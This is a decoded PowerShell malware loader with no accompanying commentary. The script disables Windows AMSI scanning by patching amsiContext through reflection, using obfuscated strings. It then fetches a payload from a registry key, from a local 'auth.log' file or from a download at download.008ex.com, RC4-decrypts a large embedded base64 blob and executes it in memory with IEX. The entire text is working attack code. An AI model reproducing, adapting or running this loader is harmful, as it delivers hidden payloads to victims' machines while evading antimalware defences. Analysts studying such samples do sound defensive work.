Decoded

$a = [Ref].Assembly.GetType(("{0}{1}{5}{4}{2}{3}{6}" -f 'Sy','stem.M','mati','on.AmsiUtil','ment.Auto','anage','s')).GetField(("{2}{1}{0}" -f'ext','nt','amsiCo'),[Reflection.BindingFlags]("{1}{0}{3}{2}"-f',S','NonPublic','c','tati')).GetValue($null)
if ($a -ne 0){[Runtime.InteropServices.Marshal]::WriteInt32($a,0x41414141)}
Set-StrictMode -Version 2

function rc4{
    param([byte[]] $data, [byte[]]$key)
    [Byte[]]$buf = New-Object Byte[] $data.Length
    $data.CopyTo($buf, 0)
    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;
    for($i=0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length]
    }
    $j = 0;
    for($i=0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp;
    }
    $i=0; $j=0;
    for($x=0; $x -lt $buf.Length; $x++)
    {
        $i = ($i+1) % 256;
        $j = ($j+$s[$i]) % 256;
        $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp;
        [int]$t = ($s[$i]+$s[$j]) %256;
        $buf[$x] = $buf[$x] -bxor $s[$t];
    }
    return $buf
}
function Decrypt{
    Param([Byte[]]$data_in)
    if($data_in.Length -le 16)
    {
        return $false;
    }
    $data_out = (rc4 $data_in[16..$data_in.Length] $data_in[0..15])
    return $data_out
}
$DoIt = "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"

$r = "HKCU:\Software\{6D8BB3D3-9D87-4a91-AB56-4F30CFFEF007}\info"
$v = "2019"
$auth = "$Env:ALLUSERSPROFILE\auth.log"

if (gp $r $v) {
[byte[]]$cbin = (gp $r $v).$v
$payload=[Convert]::ToBase64String($cbin)
}else{
	if(Test-Path $auth){
	$payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($auth))

	}else{
	$url = "https://download.008ex.com/auth.log?$(Get-Random)"
	$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", $url, $False); $o.Send();
	$payload = $o.responseText
	}
}

If ([IntPtr]::size -eq 4) {
	$data_arr = [Convert]::FromBase64String($DoIt)
	$data_b = Decrypt($data_arr)
	$data_str = [System.Text.Encoding]::ASCII.GetString($data_b)
	IEX $data_str
}